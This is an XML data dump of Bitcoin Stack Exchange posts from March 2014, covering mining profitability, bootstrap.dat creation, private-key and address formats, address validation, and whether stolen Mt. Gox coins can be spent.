  <row Id="23069" PostTypeId="1" AcceptedAnswerId="54764" CreationDate="2014-03-05T07:59:32.413" Score="7" ViewCount="7343" Body="&lt;p&gt;Related to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22989/where-can-i-get-tick-by-tick-historical-btc-price-data&quot;&gt;Where can I get tick by tick historical BTC price data?&lt;/a&gt; but I need volume data in association with price for all the time tick by tick&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2021-02-17T06:21:54.820" Title="Where can I get tick by tick historical BTC volume data?" Tags="|historical-trade-data|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23070" PostTypeId="2" ParentId="23035" CreationDate="2014-03-05T08:02:36.460" Score="7" Body="&lt;p&gt;The Bitcoin protocol requires transactions to appear in &lt;strong&gt;topological order&lt;/strong&gt; in the blockchain. Given two transactions A and B where B spends an output of A: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both A and B may be included in the same block.&lt;/li&gt;&#xA;&lt;li&gt;A must precede B in the transaction list.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Colloquially, a miner will never include a transaction in a block template until the transaction's requirements are met. Since B spends an output of A, B is not valid until A has created said output. To satisfy this dependency, B can only be included after A was included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1726/5406&quot;&gt;Can multiple transactions transferring the same bitcoin be done in one block?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2019-07-17T05:45:20.517" LastActivityDate="2019-07-17T05:45:20.517" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23071" PostTypeId="2" ParentId="5843" CreationDate="2014-03-05T08:50:14.657" Score="0" Body="&lt;p&gt;We have an ongoing combined effort for developing a .net / mono based open source pool software;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/CoiniumServ/CoiniumServ&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CoiniumServ/CoiniumServ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All contributions are welcome.&lt;/p&gt;&#xA;" OwnerUserId="8899" LastEditorUserId="8899" LastEditDate="2014-05-19T22:37:38.580" LastActivityDate="2014-05-19T22:37:38.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23072" PostTypeId="1" CreationDate="2014-03-05T09:20:40.710" Score="3" ViewCount="843" Body="&lt;p&gt;700,000 BTC were stolen from MTGox. So are they actually spendable by the hacker or are they now just lost to the world? I can understand wallets being encrypted, but why aren't individual BTC encrypted with the owners private key so that a stolen BTC is worthless unless the owner unencrypts it first?&lt;/p&gt;&#xA;" OwnerUserId="14161" LastEditorUserId="5406" LastEditDate="2019-10-22T16:07:32.463" LastActivityDate="2020-10-03T11:45:18.690" Title="Are hacked bitcoins spendable?" Tags="|hacking|spending|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23074" PostTypeId="1" AcceptedAnswerId="23091" CreationDate="2014-03-05T10:05:14.290" Score="4" ViewCount="7051" Body="&lt;p&gt;I want to create a new bootstrap.dat file for a Dogecoin. How do this kind of files are created and how can I create one? What tools should I use? any answers/links/references are appreciated. I have searched here, but I haven't found any satisfying answer. I saw this post: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10381/creating-my-own-bootstrap-dat&quot;&gt;Creating my own bootstrap.dat&lt;/a&gt; but there is no method mentioned of putting the block in the bootstrap.dat file. Saw this post too: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18568/how-do-you-generate-a-bootstrap-dat-file&quot;&gt;How do you generate a bootstrap.dat file?&lt;/a&gt; but the tools mentioned are for Bitcoin and I'm not sure how to use them.... can anyone create a more explicit, step-by-step tutorial for doing this? something that anyone can understand? thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="14163" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2021-03-12T00:12:03.403" Title="How to create a bootstrap.dat file?" Tags="|blockchain|altcoin|dogecoin|bootstrap.dat|" AnswerCount="2" CommentCount="1" ClosedDate="2015-05-12T08:06:28.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="23076" PostTypeId="2" ParentId="7500" CreationDate="2014-03-05T11:32:04.717" Score="0" Body="&lt;p&gt;It seems &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/&lt;/a&gt; has the posts since November 22, 2009. For example, all satoshi's posts are &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=3;sa=showPosts&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (user id u=3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding earlier posts, in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=5.msg28#msg28&quot; rel=&quot;nofollow&quot;&gt;satoshi's first post in bitcointalk.org&lt;/a&gt; he refers to an &quot;old forum&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Welcome to the new Bitcoin forum!&#xA;&#xA;The old forum can still be reached here:&#xA;http://bitcoin.sourceforge.net/boards/index.php&#xA;&#xA;I'll repost some selected threads here and add updated answers to questions where I can.&#xA;&#xA;FAQ&#xA;http://bitcoin.sourceforge.net/wiki/index.php?page=FAQ&#xA;&#xA;Download&#xA;http://sourceforge.net/projects/bitcoin/files/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and some people wrote that it's here:&#xA;&lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?forum_name=bitcoin-list&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/mailarchive/forum.php?forum_name=bitcoin-list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14165" LastActivityDate="2014-03-05T11:32:04.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23077" PostTypeId="1" CreationDate="2014-03-05T11:39:44.657" Score="-2" ViewCount="1413" Body="&lt;p&gt;As a total Noob I have a CPU and GPU intensive machine and want to mine some coin to earn. In addition, I try to get the best trade of between the earning from the mining and exchanging it to a real cash. Should I choose Bitcoin or Litecoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it also logical to mine Litecoin (since it is faster) then keep them as Bitcoin in Coinbase? But in this case, I don't know whether I got my litecoin mining earnings to Bitcoin in Coinbase.&lt;/p&gt;&#xA;" OwnerUserId="14166" LastEditorUserId="5406" LastEditDate="2016-04-10T12:17:07.583" LastActivityDate="2016-04-10T12:17:07.583" Title="I would like to exchange my mining earning to real cash in my bank account, then should I mine Bitcoin or Litecoin?" Tags="|exchanges|litecoin|mining-profitability|coinbase.com|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23079" PostTypeId="2" ParentId="23072" CreationDate="2014-03-05T12:01:38.917" Score="1" Body="&lt;p&gt;You can't encrypt individual BTC. Only the wallet containing BTC (to say it in a popular way, the real technology behind it is different) can be encrypted.&lt;/p&gt;&#xA;" OwnerUserId="14167" LastActivityDate="2014-03-05T12:01:38.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23081" PostTypeId="2" ParentId="16837" CreationDate="2014-03-05T12:15:01.307" Score="0" Body="&lt;p&gt;A 'bitcoin chargeback' is defined at &lt;a href=&quot;http://www.bitcoinchargeback.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinchargeback.com/&lt;/a&gt; as: A mechanism to facilitate the reversal of a prior outbound transfer of bitcoin funds, so it sounds like somebody may be working on it; however surely such a system would require some form of arbitration / adjudication, possibly distributed or else the chargeback would always be at the discretion of the merchant.&lt;/p&gt;&#xA;" OwnerUserId="14168" LastActivityDate="2014-03-05T12:15:01.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23082" PostTypeId="2" ParentId="23077" CreationDate="2014-03-05T12:18:58.943" Score="0" Body="&lt;p&gt;Isn't the efficiency already at the point here mining with CPU/GPU (instead of specialized ASIC) will cost you more in electricity than you can earn from the mined coins?&lt;/p&gt;&#xA;" OwnerUserId="13535" LastActivityDate="2014-03-05T12:18:58.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23084" PostTypeId="2" ParentId="3109" CreationDate="2014-03-05T12:25:14.480" Score="0" Body="&lt;p&gt;Escrow of course has its uses, but the issue is more practical than technical insofar as deciding when the transaction is irreversibly settled. With credit cards etc. there is an adjudication and arbitration process, so presumably any bitcoin chargeback mechanism would also need such a (distributed) procedure.&lt;/p&gt;&#xA;" OwnerUserId="14168" LastActivityDate="2014-03-05T12:25:14.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23086" PostTypeId="1" CreationDate="2014-03-05T12:32:31.727" Score="1" ViewCount="198" Body="&lt;p&gt;While I understand that chargebacks, or the lack thereof are an important feature for encouraging merchants to adopt bitcoin, the reverse may be true for consumers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is probably a balance to be found, but is such a thing even possible?&lt;/p&gt;&#xA;" OwnerUserId="14168" LastActivityDate="2014-05-10T21:31:11.167" Title="Given that contracts can be formed in the blockchain using scripts, couldn't a contract include a mechanism for facilitating chargebacks?" Tags="|blockchain|script|contracts|chargeback|" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-29T21:23:52.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="23087" PostTypeId="1" CreationDate="2014-03-05T12:38:36.853" Score="1" ViewCount="231" Body="&lt;p&gt;Nearly every attack I've ever read about has involved bad website coding in one fashion or another. Like that that attack on the Doge wallet site in December, where they allegedly injected the website, and got in through a quirk in Apache to modify the source code, which allowed the alleged crooks to allegedly modify the destination of the transactions by replacing a variable with a hard coded address, that led to their wallet --thereby stealing new transactions and withdrawals. It's been the same or similar with most other attacks on sites that store wallets on the server that I've read about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the importance of coding a secure multi-tiered website is very important. I need to watch for injection attacks, apache permissions issues, and open ports, and all the usual stuff I would watch for on a site where money is changing hands. Got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is it always poor website coding that causes site owners to lose money? Is there anything a potential vandal or cracker can do in order to compromise my site in other ways? Also, is there a whitepaper on building bitcoin protocol empowered websites securely, anywhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your time.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-04-04T15:16:27.937" Title="So how would someone steal coins from my site?" Tags="|bitcoind|development|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23089" PostTypeId="2" ParentId="23087" CreationDate="2014-03-05T12:51:16.753" Score="0" Body="&lt;p&gt;There are two things a hacker may try to get hold on your coins first is vulnerability in your code and second is to bruteforce your server to get access. In most of the cases PHP vulnerabilities are found when they make an effect on the website because every programmer thinks that his code is secure enough to be hacked. Among both of these PHP is more easy to get compromised(I am not saying that PHP is not secure). I suggest you to ask people(if you may know any security expert or hacker) to penetrate the code and try to find a vulnerability or you may start a bounty for that.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-05T12:51:16.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23090" PostTypeId="1" CreationDate="2014-03-05T12:51:38.497" Score="33" ViewCount="176854" Body="&lt;p&gt;I am using blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a bitcoin transaction of 22.00883562 BTC to the address &lt;a href=&quot;https://blockchain.info/address/1A9eUAc78tGx65X3CuC9WfSKXXgxjU8ccC&quot;&gt;1A9eUAc78tGx65X3CuC9WfSKXXgxjU8ccC&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the transaction at &lt;a href=&quot;https://blockchain.info/tx/97c1af82111cdcf17f878eb6df20c17c59c1b1fc04e8cdce36b8ac6c6d1c969a&quot;&gt;https://blockchain.info/tx/97c1af82111cdcf17f878eb6df20c17c59c1b1fc04e8cdce36b8ac6c6d1c969a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have paid a 0.001 fee but it has been almost 30 hours and it still shows &quot;Unconfirmed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the error? Also, more importantly, how do I cancel the unconfirmed transaction and get back my coins?&lt;/p&gt;&#xA;" OwnerUserId="14169" LastActivityDate="2021-04-25T07:39:40.943" Title="How do I cancel my blockchain transaction (still unconfirmed)?" Tags="|blockchain.info|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23091" PostTypeId="2" ParentId="23074" CreationDate="2014-03-05T12:55:31.560" Score="5" Body="&lt;p&gt;Since van der Woerdt's answer in first question you link to indicates you can simply concatenate the blk files, you can open a DOS window (if your using windows), then type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CD C:\Users\&amp;lt;my_user&amp;gt;\AppData\Roaming\DogeCoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(if you're on Win7+)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COPY /b blk0001.dat+blk0002.dat bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that would be it!&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-05T12:55:31.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23092" PostTypeId="1" CreationDate="2014-03-05T13:25:53.203" Score="0" ViewCount="326" Body="&lt;p&gt;I need to validate Bitcoin addresses in an application I'm developing; I have found &lt;a href=&quot;http://rosettacode.org/wiki/Bitcoin/address_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;various code samples for various languages&lt;/a&gt; (&lt;a href=&quot;https://stackoverflow.com/questions/21559851/bitcoin-address-form-validation-javascript-and-php&quot;&gt;even on StackOverflow&lt;/a&gt;), but none specific for the one I am using (C#); also, all of those samples seem to come from volunteers around the world, but I've been unable to find an &quot;official&quot; reference algorithm for address validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;This links&lt;/a&gt; explains how an address is generated, but even it has some dubious statements, like &quot;this is the &lt;em&gt;most commonly used&lt;/em&gt; Bitcoin Address format&quot; at the end of the article; also, it doesn't explain how to actually validate one if you're not doing the address generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the official, reference algorithm for checking the validity of a Bitcoin address?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I'm only interested in syntactic validity; I don't care if the address was ever actually used, if it has any Bitcoin balance, or if the user really is in possession of the associated private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please avoid code samples, as they are language-specific; what I'm asking for is a detailed description of the steps required for validation, so that it can be implemented in any language of choice.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-04-04T19:44:30.060" Title="What is the reference algorithm for validating a Bitcoin address?" Tags="|address|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23094" PostTypeId="2" ParentId="23077" CreationDate="2014-03-05T14:08:57.957" Score="1" Body="&lt;p&gt;It is more effective to mine Scrypt coins (Litecoin, Mincoin etc) rather than Bitcoin (sha-256 cryptography). This is because as the amount of coins created increases, the difficulty of the blocks becomes harder to solve. Bitcoins have reached (or are close to reaching) that plateau. The cost of mining bitcoins isn't worth it compared to the amount it will cost in electricity consumption. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to research undervalued Scrypt coins and mine them. There is no way currently to use an ASIC miner to pump out large numbers of hash's / sec. The only way to mine Scrypt coins effectively is to use an array of GPU's.  &lt;/p&gt;&#xA;" OwnerUserId="14173" LastActivityDate="2014-03-05T14:08:57.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23095" PostTypeId="2" ParentId="23072" CreationDate="2014-03-05T14:28:58.377" Score="0" Body="&lt;p&gt;The stealing of the coins means they got sent to another address and are therefor spendable. Individual bitcoins can't be encrypted since they only exist as numbers in the public ledger of transactions called the blockchain. What you encrypt is the private key that 'gives you the right' to spend output from a previous transaction.&lt;/p&gt;&#xA;" OwnerUserId="14174" LastActivityDate="2014-03-05T14:28:58.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23096" PostTypeId="2" ParentId="23072" CreationDate="2014-03-05T15:52:05.713" Score="5" Body="&lt;p&gt;Your question indicates certain misconceptions about what Bitcoin is. I would advice you to take an afternoon to read the Bitcoin whitepaper, learn from other sources and understand as much as possible. It is possible to know what Bitcoins truly are without great technical knowledge. (Bitcoin transactions can only be made with the owner's private key. A &quot;theft&quot; usually means performing a transaction towards a thief's address, by manipulation of software or persons or obtaining other people's private keys.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can be spent just like any other Bitcoin. The only thing is that you can trace every Bitcoin, and therefore know it has been partially stolen Bitcoin. This is called &quot;Taint&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tainted Bitcoin could be considered less valuable as it would not be accepted everywhere and spending them at &quot;legal&quot; institutions would give a lead towards the thief. Buying stolen goods is illegal in most countries, stolen Bitcoin would count too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Bitcoin community agrees on no longer accepting stolen coins they could even become practically worthless, the risk of arrest for theft and the low value or spendability of coins would be complicating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that &quot;theft&quot; is a political issue, just like ownership. Some nations might not consider a hack a theft, and certain Bitcoiners definitely think so too ;). Who would be the judge in discriminating a stolen from an unstolen Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's the fact that someone might have accepted Bitcoins not knowing they were stolen, or even whom they're really from. Or accepting them before it was decided they were stolen. Similarly to counterfeit money. This means that Bitcoins once stolen, are not per definition &quot;stolen&quot; or &quot;illegally accepted&quot; now. Certain Bitcoin laundry services are available to attempt to disturb the usual tracebility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall I would say that a thief would have to be very careful not to expose him/her self. An effective laundry service could help him/her with that. But the coin is still the coin, and can still be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if this answered your question. Comment if you are unsure of something.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-03-05T15:52:05.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23098" PostTypeId="2" ParentId="5735" CreationDate="2014-03-05T16:25:53.350" Score="1" Body="&lt;p&gt;You can use exchanges to do this. This is perfectly legal. Bitcoin is not a legal currency right now as there´s no law for it. Bitcoins are legally speaking, virtual goods, so buying or selling them is totally fine.&#xA;You can subscribe to &lt;strong&gt;CoinMelon&lt;/strong&gt; &lt;a href=&quot;https://www.coinmelon.com&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Exchange Argentina&lt;/a&gt;, it operates in local currency (Pesos Argentinos.).&lt;/p&gt;&#xA;" OwnerUserId="14177" LastActivityDate="2014-03-05T16:25:53.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23099" PostTypeId="1" AcceptedAnswerId="23108" CreationDate="2014-03-05T16:41:19.813" Score="21" ViewCount="66080" Body="&lt;p&gt;I'm new to bitcoin; please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking into mining, how it works, and how to get started. I see a &quot;mining difficulty&quot; from many sources and list a 3 billion something number without units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly does this number mean and how does it relate to the processing speed of the hardware used? For example, what predictions can be made on the number blocks you will solve with a 100 Gh/s ASIC at any given difficulty?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I assume Gh/s is giga hashes per second, though I don't know what a hash is either.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5556/4276&quot;&gt;this related question&lt;/a&gt;, but I don't understand the answer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As an extension question, how might this relate to mining in a pool? Bitminter says it has 424 Th/s, so my 100 Gh/s is a drop in the bucket.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-01-13T16:47:25.730" Title="What does the mining difficulty number really mean?" Tags="|difficulty|hash|hashpower|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23101" PostTypeId="1" AcceptedAnswerId="23104" CreationDate="2014-03-05T17:32:41.857" Score="2" ViewCount="2153" Body="&lt;p&gt;I recently used the website &lt;a href=&quot;https://www.bitbrothersllc.com/Bitbrothersllc/Welcome.html&quot; rel=&quot;nofollow&quot;&gt;https://www.bitbrothersllc.com/Bitbrothersllc/Welcome.html&lt;/a&gt; to obtain my bitcoins, but when I was asked what address to send my coins to, I accidentally put down my wallet's private key, not my bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if the coins are lost forever now, or if they will still appear in my wallet because the private key is attached to my address.  I'm really hoping they are not lost forever, and I would greatly appreciate any assistance anyone could provide.&lt;/p&gt;&#xA;" OwnerUserId="14181" LastActivityDate="2020-02-27T01:01:37.710" Title="What happens if I send bitcoins to my private key instead of my actual bitcoin address?" Tags="|wallet|private-key|buy-bitcoins|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23102" PostTypeId="2" ParentId="23077" CreationDate="2014-03-05T17:49:12.403" Score="1" Body="&lt;p&gt;Most exchanges lack the capability to convert to fiat currencies anything but Bitcoin and Litecoin, some add Primecoin or PPCoin to that list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then the Bitcoin mining market is so competitive most miners barely cover their expenses plus there's a very high entry barrier - mining with GPU or CPU is just not worth it anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin and the other scrypt-based crypto-coins aren't &lt;em&gt;that&lt;/em&gt; competitive yet, but those with the biggest market capitalization (like Litecoin and Dogecoin) are approaching that level very quickly, so you'd better have a very energy-efficient cooling system and access to cheap electricity if you want to make money mining them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options for you, right now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mine for a short time (while difficulty is low) and then hoard a little-known, relatively new coin whom you think has middle-term possibilities. It might be based off something already popular (as Flappycoin) or use a very different algorithm (as megacoin's SHA3 or Vertcoin's scrypt-n). Should this coin become more valuable (as in 5x or 10x or more valuable) you could sell it for BTC, hopefully at a profit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Join a multipool: you simply provide the hash capabilities of your GPU and the pool's admin gathers all that power to mine the coin deemed the most profitable to mine (taking into account expected block reward and current price in the market). Then pool manager later sells all such acquired coins and pays to you in bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Join a merged-mining scrypt pool: You'd be able to mine 42coins, dogecoins, digitalcoin and a few others altogether at the same time so your final hashrate becomes ~25% higher than what you'd get mining just one coin. Of course, you'd need to have multiple wallets and an account at an exchange to sell them afterwards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-05T17:49:12.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23103" PostTypeId="2" ParentId="23101" CreationDate="2014-03-05T18:03:11.187" Score="1" Body="&lt;p&gt;If you indeed received a payment, you must move the money to a different address ASAP because you have already given the private key to the site. They can take your money back at any time.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-05T18:03:11.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23104" PostTypeId="2" ParentId="23101" CreationDate="2014-03-05T18:14:19.783" Score="5" Body="&lt;p&gt;A &lt;strong&gt;private key&lt;/strong&gt; can be encoded in a number of different formats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;51 characters&lt;/strong&gt; base58, starts with a '5' &#xA;(for example: &lt;code&gt;5JrnhhNpRNsC6xPUhLfc4yJEviuRxMcvpcB4pc1opgHTSVi64aP&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;64 characters&lt;/strong&gt; [0-9A-F] hexadecimal format, &#xA;for example: &lt;code&gt;89609C6B52AE0061FB8FFE3AF83528AC24AC637A386FE61D2822128ABE80162F&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;44 characters&lt;/strong&gt; base64,&#xA;for example: &lt;code&gt;iWCca1KuAGH7j/46+DUorCSsY3o4b+YdKCISir6AFi8=&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;52 characters&lt;/strong&gt; base58, WIF Compressed, starts with a 'K' or 'L', &#xA;for example: &lt;code&gt;L1pkidDJJbWY1HUDF3oPnXV6U7xR9L1aZ8FRs7YZfSPdh5NPzRB5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A bitcoin &lt;strong&gt;address&lt;/strong&gt;, which is a &lt;em&gt;hash&lt;/em&gt; of the public key, is &lt;strong&gt;25-34 characters&lt;/strong&gt;, &lt;a href=&quot;https://web.archive.org/web/20191225180429/https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;typically 34 characters&lt;/a&gt;,&#xA;for example: &lt;code&gt;1A5QMFw4vXVwLF1zZMSvAYJStuVMcjSqAa&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a bitcoin address &lt;em&gt;could&lt;/em&gt; be encoded in some other format, but 25-34 characters of base58 is the standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what kind of validations are in place at &lt;em&gt;bitbrothersllc&lt;/em&gt;, but they should easily be able to see that you entered 51, 64, 44, or 52 characters instead of the 25-34 characters that would make up a valid bitcoin address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact them.  If they are legit, you'll get your funds back.  Good luck!&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="434" LastEditDate="2020-02-27T01:01:37.710" LastActivityDate="2020-02-27T01:01:37.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23105" PostTypeId="2" ParentId="23101" CreationDate="2014-03-05T19:32:05.297" Score="1" Body="&lt;p&gt;You can't send to a private key, that would be invalid in any client. You have exposed your private keys to a third party though, which you need to rectify immediately. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-03-05T19:32:05.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23106" PostTypeId="2" ParentId="23092" CreationDate="2014-03-05T19:36:17.277" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Please avoid code samples, as they are language-specific; what I'm asking for is a detailed description of the steps required for validation, so that it can be implemented in any language of choice.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You won't find any documentation other than the wiki which is generally out of date and incorrect, so code samples will have to do. Check the reference client Bitcoin Core, and some of the JavaScript implementations in BitcoinJS. It's not difficult, just base58 encoding with a version byte of 0x01 at the front and a truncated hash at the rear. P2SH transactions have a different version byte but are still valid in the same fashion. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-03-05T19:36:17.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23107" PostTypeId="2" ParentId="23099" CreationDate="2014-03-05T19:42:06.827" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm looking into mining, how it works, and how to get started. I see a &quot;mining difficulty&quot; from many sources and list a 3 billion something number without units.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The difficulty is just an arbitrary value, it has no unit. A difficulty 8 block is 8 times more difficult than a difficulty. Today the difficulty is 3B, but this chances on a bi-weekly basis as the hashrate of the network varies. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, what predictions can be made on the number blocks you will solve with a 100 Gh/s ASIC at any given difficulty?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It takes about 4 Billion attempts to find a difficulty 1 block, you can scale up approximately from here. 100 GH means the hardware makes 100,000,000,000 attempts a second, or about a difficulty 1 block every 0.04 seconds. In practice a 100GH machine might find a block every 5 years or so, if you're lucky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pooled mining pools the resources to find blocks faster and split the income between the miners. It would average to about 0.13BTC a day at the moment, but it's dropping about 2% a day at the moment and doesn't look like stopping any time soon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't make any income mining, nobody has except for the very first ASIC owners in January 2013.&lt;/p&gt;&#xA;" 